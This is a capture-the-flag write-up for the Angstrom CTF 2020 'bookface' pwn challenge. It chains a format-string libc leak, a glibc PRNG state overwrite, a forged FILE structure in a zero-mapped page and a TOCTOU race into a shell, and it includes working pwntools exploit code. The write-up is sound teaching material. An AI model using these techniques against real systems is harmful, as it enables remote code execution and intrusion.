Angstrom CTF 2020 - bookface

Challenge details

EventChallengeCategory
Angstrom CTF 2020bookfacePWN

Description

I made a new social networking service. It’s a little glitchy, but no way that could result in a data breach, right?

Connect with nc pwn.2020.chall.actf.co 20733.

Attachments

bookface.tar.gz

The attached tarball contains the following files:

FileDescription
bookfacethe main binary
bookface.cbinary source code
libc.so.6remote server libc
DockerfileDockerfile used to build the remote challenge
xinetd.confxinetd config file to run the challenge
server.shthe executable to be launched via xinetd which will run bookface

TL;DL

  • Leak Libc address using Format String Attack.
  • Abusing glibc PRNG by overwrite the random state using friends pointer.
  • Writing a forged FILE structure in Zero Page.
  • Trigger FILE structure exploit by a NULL Pointer Dereference Attack and exploiting a TOCTOU bug.

As usually in binary exploitation, binaries are related to libc, most of the time we need the libc to exploit the binary (calling system function, overwriting (malloc) or free hooks, using one_gadget, …), so it’s better to start debugging using the remote libc locally, there are many ways to achieve that.

We can easily build an identical docker image to the remote challenge image using these files, but if you want to debug the binary inside a container you need to install your favorite tools (gdb with peda, pwndbg or gef extension) inside the container.

The easy way that I prefer is patching the binary and modifying the RUNPATH to point to the directory where the target libc is located, this technique is explained in @Ayrx blog post “Using a non-system glibc”1.

$ mv bookface backup
$ python change_glibc.py backup libc.so.6 ld-2.23.so bookface 
Current ld.so:
Path: /lib64/ld-linux-x86-64.so.2

New ld.so:
Path: /home/philomath213/Documents/CTFs/angstromctf2020/bookface/ld-2.23.so

Adding RUNPATH:
Path: /home/philomath213/Documents/CTFs/angstromctf2020/bookface

Writing new binary bookface
Please rename /home/philomath213/Documents/CTFs/angstromctf2020/bookface/libc.so.6 to /home/philomath213/Documents/CTFs/angstromctf2020/bookface/libc.so.6.
$ ldd backup       
	linux-vdso.so.1 (0x00007ffd10964000)
	libc.so.6 => /usr/lib/libc.so.6 (0x00007f80eaf0f000)
	/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007f80eb123000)

$ ldd bookface     
	linux-vdso.so.1 (0x00007ffe1bbe7000)
	libc.so.6 => /home/philomath213/Documents/CTFs/angstromctf2020/bookface/libc.so.6 (0x00007ff062cb8000)
	/home/philomath213/Documents/CTFs/angstromctf2020/bookface/ld-2.23.so => /usr/lib64/ld-linux-x86-64.so.2 (0x00007ff0630ae000)

N.B. You can get ld-2.23.so file from the ubuntu:xenial image.

Now we can run the binary locally with the same libc used remotely.

Source Code Analysis

Since the source code is available, we don’t have to reverse engineering the binary, just read the code.

For global variables we have user a profile structure pointer and uid an integer.

struct profile *user;
int uid;

The profile structure has two fields: a char array (name) of size 0x100 and a pointer to a long long (friends).

struct profile {
  char name[0x100];
  long long *friends;  // some people have a lot of friends
};

This program first call srand to set time(NULL) as seed for a new sequence of pseudo-random integers to be returned by rand() we will get back to this later in the writeup.

Then it calls login(), the login function basically asks for userid and creates a file with userid as a file name under users directory.

If the file doesn’t exist, the program will call mmap, this will basically allocates a memory at a random address, witg a size equals to size of profile structure, the protections are PROT_READ | PROT_WRITE. Then it reads 0x100 bytes into it using fgets.

puts("Welcome to bookface!");
user = mmap(rand() & 0xfffffffffffff000, sizeof(struct profile),
			PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
			-1, 0);
printf("What's your name? ");
fgets(user->name, 0x100, stdin);

If the file already exists then it will ask for a brief survey.

puts("Before you log back in, please complete a brief survey.");
    puts("For each of the following categories, rate us from 1-10.");
    char survey[20];
    int n = 0;
    printf("Content: ");
    n += read(1, survey + n, 3);
    printf("Moderation: ");
    n += read(1, survey + n, 3);
    printf("Interface: ");
    n += read(1, survey + n, 3);
    printf("Support: ");
    n += read(1, survey + n, 3);
    survey[n] = 0;

The program check if there is any 'n' letter in the inputs, if so the program will exit.

if (strchr(survey, 'n') != NULL) {
      // a bug bounty report said something about hacking and the letter n
      puts("ERROR: HACKING DETECTED");
      puts("Exiting...");
      exit(1);
    }

This would prevent users from doing arbitrary write using Format String Attack2 (using the common %n specifier), if there is any vulnerability like that.

If the survey rates are different than 10, 10, 10, 10, we notice the format string bug!.

if (strcmp(survey, "10\n10\n10\n10\n") != 0) {
      puts(
          "Those ratings don't seem quite right. Please review them and try "
          "again:");
      printf(survey);
      n = 0;
      printf("Content: ");
      n += read(1, survey + n, 3);
      printf("Moderation: ");
      n += read(1, survey + n, 3);
      printf("Interface: ");
      n += read(1, survey + n, 3);
      printf("Support: ");
      n += read(1, survey + n, 3);
      survey[n] = 0;
    }

The program will call printf with user input survey directly as a format string printf(survey), so we have Format String Bug here.

Then it opens the file and reads its content into an allocated memory via mmap the same way as mentioned above.

user = mmap(rand() & 0xfffffffffffff000, sizeof(struct profile),
                PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
                -1, 0);
FILE *f = fopen(file, "rb");
fread(user, 1, sizeof(struct profile), f);
fclose(f);

At the end it checks if the survey rates were different then 10, 10, 10, 10, it will set friends number to 0.

if (strcmp(survey, "10\n10\n10\n10\n") != 0) {
puts(
	"Our survey says... you don't seem very nice. I doubt you have any "
	"friends!");
*(user->friends) = 0;
}

That’s all what login function does, in the other hand the main function is just menu-driven while loop to choose between:

screenshot0

  1. incrementing friends number
printf("How many friends would you like to make? ");
long long new;
scanf(" %lld", &new);
user->friends += new;

This will increments the pointer friends, it an obvious mistake.

  1. decrementing friends number
printf("How many friends would you like to lose? ");
long long lost;
scanf(" %lld", &lost);
user->friends -= lost;

The same here, decrementing the pointer friends.

  1. deleting account
puts("Deleting account...\n");
sprintf(file, "users/%d", uid);
remove(file);
login();

This will remove the file corresponding to userid, the call login function again.

  1. login off
puts("Logging out...\n");
sprintf(file, "users/%d", uid);
FILE *f = fopen(file, "wb");
fwrite(user, 1, sizeof(struct profile), f);
fclose(f);
login();

This will write the content pointed by user to the file corresponding to userid, and then will call login again.

Let’s get back to login function, at the end if the survey rates were different then 10, 10, 10, 10 the program do this instruction *(user->friends) = 0 which will dereference the friends long long* pointer and set its content to 0 (i.e. write 8 NULL bytes where friends is pointing), it means we have arbitrary 8 NULL bytes write.

Another remark: The program lacks errors checking, overall there are no error checking when dealing with files (fopen, fclose, fread).

Detected vulnerabilities

  • Format String vulnerability (“arbitrary write” isn’t included since ‘n’ letter is filtered) in login function.
  • Arbitrary 8 NULL bytes write via friends pointer.
  • The lack of errors checking.

Exploitation

None of these vulnerabilities on their own allow us to exploit this binary, we need to use multiples attacks to achieve code execution on the remote server.

Note that the 1st line of Dockerfile contains a comment:

#IMPORTANT: on host system: sysctl vm.mmap_min_addr=0

What does it mean?

mmap_min_addr is a kernel tunable that specifies the minimum virtual address that a process is allowed to mmap3, Allowing processes to map low values expose the system to “Kernel NULL pointer dereference” attacks4.

It was introduced to Linux Kernel as mitigation against Null Pointer Dereference Attacks, but in our case it’s disabled since mmap_min_addr=0.

You can check the current value in your local machine at /proc/sys/vm/mmap_min_addr (Arch linux, for other distributions maybe at a different location)

$ cat /proc/sys/vm/mmap_min_addr
65536

The default value in Arch Linux is 65536 (0x10000).

N.B. This a Kernel feature like ASLR, and Linux containers share the same kernel with the host machine.

If you are familiar with Linux Kernel Exploitation you probably know how NULL pointer dereference happens, most of the time is due to the lack of error checking.

FILE *f = fopen(file, "rb");
fread(user, 1, sizeof(struct profile), f);
fclose(f);

Upon successful completion fopen returns a FILE pointer Otherwise, NULL is returned.

NULL is just a zero value, NULL pointer is 8 (or 4 in 32 bits machine) null bytes (i.e. 0x0000000000000000 or 0x00000000 in 32 bits machine).

What will happen if fopen fails? basically the following:

fread(user, 1, sizeof(struct profile), (FILE *)0);
fclose((FILE *)0);

fread and fclose will dereference the f FILE pointer (f will points to 0x0000000000000000 memory address).

So if we can map (allocate) memory at the 0x0000000000000000 address (Zero Page) and write a forged FILE structure there.

fread and fclose will simply consider it as valid FILE structure.

The question is therefore: How can this helps us achieve code execution?

@Angelboy in his paper FILE Structures: Another Binary Exploitation Technique5, presented at HITB GSEC 2018 Conference proposed a new attack technique that exploits the FILE structure in GNU C Library (glibc) to gain control over execution flow (RIP), this technique won’t only get RIP control, but also control over RDI, RSI and RDX.

The attack is illustrated in @Dhaval Kapil blog post FILE Structure Exploitation (‘vtable’ check bypass)6, it calls fclose with a forged FILE structure, this structure contains vtable, which is a pointer to a table contains functions that will be called when the original FILE pointer is used to perform different operations (e.g. fclose, fread, fwrite).

So what we need right now is:

  1. Make mmap maps a memory page at address 0x0000000000000000.
  2. Forge a malicious FILE structure at 0x0000000000000000.
  3. Make fopen fails and return NULL in order to call fclose((FILE *)0).

LIBC + PIE Leak

The binary comes with all protection schemes + ASLR enabled.

$ checksec --file bookface
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

We need to leak some addresses to bypass PIE and ASLR.

We’ll use Format String Attack to get leak to address in the stack, to get to that we need to provide a userid then logout and use the same userid.

We’ll set a breakpoint at *login+501 where the program calls printf(survey) and observe what’s in the stack at that point.

$ gdb-gef bookface
...
gef> break *login+820
Breakpoint 1 at 0x449e
gef>  run 
Starting program: /home/philomath213/Documents/CTFs/angstromctf2020/bookface/bookface 
Please enter your user ID: 2130
Welcome to bookface!
What's your name? ABCD
You have 0 friends. What would you like to do?
[1] Make friends
[2] Lose friends
[3] Delete account
[4] Log out
> 4
Logging out...

Please enter your user ID: 2130
Before you log back in, please complete a brief survey.
For each of the following categories, rate us from 1-10.
Content: %p%p%p%p%p
Moderation: Interface: Support: Those ratings don't seem quite right. Please review them and try again:
...
gef>  info frame
Stack level 0, frame at 0x7fffffffdef0:
 rip = 0x55555555849e in login; saved rip = 0x555555558985
 called by frame at 0x7fffffffdf60
 Arglist at 0x7fffffffdee0, args: 
 Locals at 0x7fffffffdee0, Previous frame's sp is 0x7fffffffdef0
 Saved registers:
  rbp at 0x7fffffffdee0, rip at 0x7fffffffdee8
...
gef➤  telescope 32
0x00007fffffffde70│+0x0000: 0x0000000b00000000	 ← $rsp
0x00007fffffffde78│+0x0008: 0x00007ffff7a9153c  →  <free+76> add rsp, 0x28
0x00007fffffffde80│+0x0010: "%p%p%p%p%p\n"	 ← $rdi
0x00007fffffffde88│+0x0018: 0x00000000000a7025 ("%p\n"?)
0x00007fffffffde90│+0x0020: 0x0000000000000000
0x00007fffffffde98│+0x0028: 0x0000000000000000
0x00007fffffffdea0│+0x0030: "users/2130"
0x00007fffffffdea8│+0x0038: 0x0000555555003033 ("30"?)
0x00007fffffffdeb0│+0x0040: 0x0000000000000000
0x00007fffffffdeb8│+0x0048: 0x00005555555581b0  →  <_start+0> endbr64 
0x00007fffffffdec0│+0x0050: 0x00007fffffffe030  →  0x0000000000000001
0x00007fffffffdec8│+0x0058: 0x00007ffff7a7a363  →  <fclose+259> mov eax, ebp
0x00007fffffffded0│+0x0060: 0x0000000000000000
0x00007fffffffded8│+0x0068: 0xf46cff2f1bf3ec00
0x00007fffffffdee0│+0x0070: 0x00007fffffffdf50  →  0x00005555555589a0  →  <__libc_csu_init+0> endbr64 	 ← $rbp
0x00007fffffffdee8│+0x0078: 0x0000555555558985  →  <main+681> jmp 0x555555558992 <main+694>
0x00007fffffffdef0│+0x0080: 0x0000000000000001
0x00007fffffffdef8│+0x0088: 0x000003e8ffffdf70
0x00007fffffffdf00│+0x0090: 0x00007ffff7ffe168  →  0x0000555555554000  →  0x00010102464c457f
0x00007fffffffdf08│+0x0098: 0x000055555557e010  →  0x00000000fbad240c
0x00007fffffffdf10│+0x00a0: "users/2130"
0x00007fffffffdf18│+0x00a8: 0x0000555555003033 ("30"?)
0x00007fffffffdf20│+0x00b0: 0x00007fffffffdf4e  →  0x5555555589a0f46c
0x00007fffffffdf28│+0x00b8: 0x0000000000000000
0x00007fffffffdf30│+0x00c0: 0x00005555555589a0  →  <__libc_csu_init+0> endbr64 
0x00007fffffffdf38│+0x00c8: 0x00005555555581b0  →  <_start+0> endbr64 
0x00007fffffffdf40│+0x00d0: 0x00007fffffffe030  →  0x0000000000000001
0x00007fffffffdf48│+0x00d8: 0xf46cff2f1bf3ec00
0x00007fffffffdf50│+0x00e0: 0x00005555555589a0  →  <__libc_csu_init+0> endbr64 
0x00007fffffffdf58│+0x00e8: 0x00007ffff7a2d830  →  <__libc_start_main+240> mov edi, eax
0x00007fffffffdf60│+0x00f0: 0x0000000000000001
0x00007fffffffdf68│+0x00f8: 0x00007fffffffe038  →  0x00007fffffffe332  →  "/home/philomath213/Documents/CTFs/angstromctf2020/[...]"

The login function stack frame is located at 0x7fffffffdef0 ($rsp+0x0090), and the saved return address is located at 0x7fffffffdee8 ($rsp+0x0078) this pointer will give us the binary base where it’s loaded, there is another interesting pointer at 0x00007fffffffdf58 ($rsp+0x00e8) a libc pointer, it will give us libc base address.

The format string offset for the 1st pointer will be 21 (%21$p) while the 2nd will be 35 (%35$p).

In order to calculate the base address from these two pointers we need precalculate the offsets.

gef>  vmmap 
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555558000 0x0000000000000000 r-- /home/philomath213/Documents/CTFs/angstromctf2020/bookface/bookface
...
0x00007ffff7a0d000 0x00007ffff7bcd000 0x0000000000000000 r-x /home/philomath213/Documents/CTFs/angstromctf2020/bookface/libc.so.6
...

The binary base address is 0x0000555555554000 and the leaked address is 0x0000555555558985.

gef>  p 0x0000555555558985 - 0x0000555555554000
$1 = 0x4985

We do the same for libc address.

gef>  p 0x00007ffff7a2d830 - 0x00007ffff7a0d000
$2 = 0x20830

libc address leak exploit

libc_offset = 0x20830

uid = randint(0, 2**30)

# create user with uid and name AAAA
T.sendlineafter("Please enter your user ID: ", str(uid))
T.sendlineafter("What's your name? ", b"AAAA")

# logout
T.sendlineafter("> ", "4")
# login again with same uid
T.sendlineafter("Please enter your user ID: ", str(uid))

# format string offset
payload = b'AA%35$pBB'

assert len(payload) <= 12
T.sendlineafter("Content: ", payload)

T.recvuntil(b'AA')
leak = T.recvuntil(b'BB').strip(b'BB')
leak = int(leak, base=16)
log.info("leak: 0x{:016x}".format(leak))

libc_base = leak - libc_offset
log.info("libc_base: 0x{:016x}".format(libc_base))

Zero Page

We need to write the forged FILE structure into the Zero Page (i.e. memory page at 0x0000000000000000), when login with a new userid the following instruction will be executed:

puts("Welcome to bookface!");
user = mmap(rand()&0xfffffffffffff000, sizeof (struct profile), PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
printf("What's your name? ");
fgets(user->name, 0x100, stdin);

mmap will map a page at rand() & 0xfffffffffffff000, there are two ways (maybe more) to make that value be zero:

1. Easy dirty way “Brutforce”:

rand() (see man 3 rand) will return a pseudo-random integer in range [0, RAND_MAX], RAND_MAX dependent on the implementation, but it’s guaranteed that this value is at least 32767 (0x7fff)7. there is a chance that rand() will return a integer less than 0x1000.

2. Hard efficient way “Abusing glibc PRNG”:

glibc pseudo-random-number-generator (PRNG)8 like any PRNG generates a sequence of random numbers, this sequence is not truly random, because it is determined by the PRNG‘s state which is initially the seed value set by srand, in our case it is time(NULL), glibc PRNG (see man 3 rand) use hidden state that is modified on each call, this hidden state is probably located at writable memory in libc address space.

To find how glibc PRNG works we need to dig deeper in glibc source code, I usually use Bootlin - Elixir Cross Referencer 9 to browse Linux Kernel and Glibc source code, actually the rand function is just wrapper to __random and the latter is also a wrapper to __random_r, make sure you are browsing the correct glibc version glibc-2.23 10.

int
rand (void)
{
  return (int) __random ();
}
long int
__random (void)
{
  int32_t retval;

  __libc_lock_lock (lock);

  (void) __random_r (&unsafe_state, &retval);

  __libc_lock_unlock (lock);

  return retval;
}

__random_r is defined in stdlib/random_r.c line 35311.


int
__random_r (struct random_data *buf, int32_t *result)
{
  int32_t *state;

  if (buf == NULL || result == NULL)
    goto fail;

  state = buf->state;

  if (buf->rand_type == TYPE_0)
    {
      int32_t val = state[0];
      val = ((state[0] * 1103515245) + 12345) & 0x7fffffff;
      state[0] = val;
      *result = val;
    }
  else
    {
      int32_t *fptr = buf->fptr;
      int32_t *rptr = buf->rptr;
      int32_t *end_ptr = buf->end_ptr;
      int32_t val;

      val = *fptr += *rptr;
      /* Chucking least random bit.  */
      *result = (val >> 1) & 0x7fffffff;
      ++fptr;
      if (fptr >= end_ptr)
	{
	  fptr = state;
	  ++rptr;
	}
      else
	{
	  ++rptr;
	  if (rptr >= end_ptr)
	    rptr = state;
	}
      buf->fptr = fptr;
      buf->rptr = rptr;
    }
  return 0;

 fail:
  __set_errno (EINVAL);
  return -1;
}

At the beginning of the function there is a test for the random type, from code comments we see that there two types, if rand_type == TYPE_0 the old linear congruential bit will be used. Otherwise, the fancy trinomial stuff.

We don’t know which one is beening used in our libc, we will use a debugger to figure it out.

gef>  disas random_r
Dump of assembler code for function random_r:
   0x00007ffff7a47c40 <+0>:		test   rdi,rdi
   0x00007ffff7a47c43 <+3>:		je     0x7ffff7a47cc0 <random_r+128>
   0x00007ffff7a47c45 <+5>:		test   rsi,rsi
   0x00007ffff7a47c48 <+8>:		je     0x7ffff7a47cc0 <random_r+128>
   0x00007ffff7a47c4a <+10>:	mov    eax,DWORD PTR [rdi+0x18]
   0x00007ffff7a47c4d <+13>:	mov    r8,QWORD PTR [rdi+0x10]
   0x00007ffff7a47c51 <+17>:	test   eax,eax
   0x00007ffff7a47c53 <+19>:	je     0x7ffff7a47ca0 <random_r+96>
   0x00007ffff7a47c55 <+21>:	mov    rax,QWORD PTR [rdi]
   ...

The condition is at *random_r+17, set a break point there and examin rax register

gef>  run
...
gef>  b *random_r+17
....
gef>  continue
....
gef>  info registers rax
rax            0x3                 0x3

The random type isn’t TYPE_0, so the 2nd part of code will be used to compute the next random integer, it will be written to the 2nd parameter int32_t *result which is the retval variable in __random function.

the result is *result = (val >> 1) & 0x7fffffff and val = *fptr += *rptr, so in order to make rand() return a 0 we need to overwrite *fptr and *rptr with zero (i.e. val = 0 => *result = 0 ), those two pointer change after each call to random, we need to find the right ones for the right call, (e.g. if we want the 2nd call returns 0, we call rand once then debug the 2nd call to get the right pointers), this is the eays way to get them.

int32_t *fptr = buf->fptr;
int32_t *rptr = buf->rptr;

This piece of code corespands to:

   0x7f7aa7c72c56 <random_r+22>    mov    eax, DWORD PTR [rdi]
   0x7f7aa7c72c58 <random_r+24>    mov    rcx, QWORD PTR [rdi+0x8]

The values of fptr and rptr will rax and rcx respectivly

gef>  b *random_r+24
...
gef>  i r rax rcx
rax            0x7f7aa7ffc0c4      0x7f7aa7ffc0c4
rcx            0x7f7aa7ffc0b8      0x7f7aa7ffc0b8
gef➤  p 0x7f7aa7ffc0b8 - 0x00007f7aa7c38000
$1 = 0x3c40b8

the offset to *rptr is 0x3c40b8 while *fptr is 0x3c40c4, 12 bytes distance bitween them.

We can overwrite this address with null value using the friends pointer in profile structure, we will use option one to increment it to points to *rptr, overwrite with zero then do the same to *fptr.

The friends pointer is of type long long* and it equals to 0 initialy, in pointer arithmetic for a given pointer x, x + 5 actually is x + 5*sizeof(data_type), we have sizeof(long long) == 8, so we increment friends pointer with (*rptr address) / 8.

Set random state fptr and rptr to 0

random_state_offset = 0x3c40b8
random_state = libc_base + random_state_offset
# set random_state fptr and rptr to 0
# in order to make rand() return 0
# fptr
T.sendlineafter("> ", "1")
T.sendlineafter("you like to make? ", str(random_state//8))

# logout
T.sendlineafter("> ", "4")
# login again with the same
T.sendlineafter("Please enter your user ID: ", str(uid))

T.sendlineafter("Content: ", b'A'*11)
T.sendlineafter("Content: ", b'A'*11)

# rptr = rptr + 8
T.sendlineafter("> ", "1")
T.sendlineafter("you like to make? ", str(8//8))

# logout
T.sendlineafter("> ", "4")
# login again with the same uid
T.sendlineafter("Please enter your user ID: ", str(uid))

T.sendlineafter("Content: ", b'A'*11)
T.sendlineafter("Content: ", b'A'*11)

After that will login with a new userid in order to allocate a Zero Page and write into it the forged FILE structure.

I used the same code in 6 with little modification to make the FILE structure.

def pack_file(_flags=0,
              _IO_read_ptr=0,
              _IO_read_end=0,
              _IO_read_base=0,
              _IO_write_base=0,
              _IO_write_ptr=0,
              _IO_write_end=0,
              _IO_buf_base=0,
              _IO_buf_end=0,
              _IO_save_base=0,
              _IO_backup_base=0,
              _IO_save_end=0,
              _IO_marker=0,
              _IO_chain=0,
              _fileno=0,
              _lock=0):
    struct = p32(_flags) + \
        p32(0) + \
        p64(_IO_read_ptr) + \
        p64(_IO_read_end) + \
        p64(_IO_read_base) + \
        p64(_IO_write_base) + \
        p64(_IO_write_ptr) + \
        p64(_IO_write_end) + \
        p64(_IO_buf_base) + \
        p64(_IO_buf_end) + \
        p64(_IO_save_base) + \
        p64(_IO_backup_base) + \
        p64(_IO_save_end) + \
        p64(_IO_marker) + \
        p64(_IO_chain) + \
        p32(_fileno)
    struct = struct.ljust(0x88, b"\x00")
    struct += p64(_lock)
    struct = struct.ljust(0xd8, b"\x00")
    return struct


def make_fake_file_struct(libc_base, rip, rdi):
    # We can only have even rdi
    assert(rdi % 2 == 0)

    # Crafting FILE structure

    # This stores the address of a pointer to the _IO_str_overflow function
    # Libc specific
    io_str_overflow_ptr_addr = libc_base + \
        libc.symbols['_IO_file_jumps'] + 0xd8
    # Calculate the vtable by subtracting appropriate offset
    fake_vtable_addr = io_str_overflow_ptr_addr - 2*8

    # Craft file struct
    file_struct = pack_file(_IO_buf_base=0,
                            _IO_buf_end=(rdi-100)//2,
                            _IO_write_ptr=(rdi-100)//2,
                            _IO_write_base=0,
                            _lock=0)
    # vtable pointer
    file_struct += p64(fake_vtable_addr)
    # Next entry corresponds to: (*((_IO_strfile *) fp)->_s._allocate_buffer)
    file_struct += p64(rip)

    return file_struct
# logout
T.sendlineafter("> ", "4")
# login again with wrong uid
uid = randint(0, 2**30)
T.sendlineafter("Please enter your user ID: ", str(uid))

raw_input("> Debug")
# Our target
# mmap to 0
file_addr = 0
rip = libc_base + libc.symbols['system']
# rdi = libc_base + next(libc.search(b"/bin/sh"))  # The first param we want
# next to file_struct
rdi = 0xf0

log.info("file_addr 0x{:016x}".format(file_addr))
log.info("rip 0x{:016x}".format(rip))
log.info("rdi 0x{:016x}".format(rdi))

file_struct = make_fake_file_struct(libc_base, rip, rdi)

file_struct = file_struct.ljust(0xf0, b'\x00')
payload = file_struct + b'/bin/sh\x00'
assert b'\n' not in payload

T.sendlineafter("What's your name? ", payload)

N.B. The rdi parameter must be even, the offset of /bin/sh string in this libc isn’t even, we can’t use it, so we’ll write the /bin/sh string after the FILE structure, it’s aligned to 0xf0, so the string will be at 0x00000000000000f0 (since mmap maps the zero page at 0x0000000000000000).

To triger to exploit we must call fclose with NULL pointer as parameter. So the call to fopen must fail and return NULL.

FILE *f = fopen(file, "rb");
fread(user, 1, sizeof (struct profile), f);
fclose(f);

How can fopen(file, "rb") fails? the mode string is "rb", it’s a read, so if the file doesn’t exists fopen will fail and return NULL.

Login function check if the file exists with access then asks for the survey, where there are multiple calls to read, it’s a blocking function, it will block and wait for user input. This is a Time-of-check to time-of-use (TOCTOU)12 bug.

We’ll open another connection and use the same userid to remove the file using the 3rd option “deleting account”.

# logout
T.sendlineafter("> ", "4")

# login again with the last uid
T.sendlineafter("Please enter your user ID: ", str(uid))

# remove the uid user file with another connection
# TOCTOU
raw_input("> debug")
log.info("uid: {}".format(uid))
log.info("race condition !!")
T2 = remote(T.rhost, T.rport)
T2.sendlineafter("Please enter your user ID: ", str(uid))
T2.sendlineafter("Content", b"10\n10\n10\n10")
T2.sendlineafter("> ", "3")

payload = b'10\n10\n10\n10\n'
assert len(payload) <= 12
T.sendlineafter("Content: ", payload)

T.clean()
T.sendline("uname -a;id")
T.interactive()

Final Exploit

You can find the full exploit here.

screenshot1

References


  1. Using a non-system glibc ↩︎

  2. OWASP - Format String Attack ↩︎

  3. Debian Wiki - mmap_min_addr ↩︎

  4. Patrick Biernat - Linux Kernel Exploitation ↩︎

  5. FILE Structures: Another Binary Exploitation Technique ↩︎

  6. Dhaval Kapil - FILE Structure Exploitation (‘vtable’ check bypass) ↩︎

  7. C++ reference - RAND_MAX ↩︎

  8. Wikipedia - Pseudorandom number generator ↩︎

  9. Bootlin - Elixir Cross Referencer ↩︎

  10. Bootlin Elixir - glibc-2.23 ↩︎

  11. glibc-2.23 - __random_r ↩︎

  12. Time-Of-Check To Time-Of-Use ↩︎

comments powered by Disqus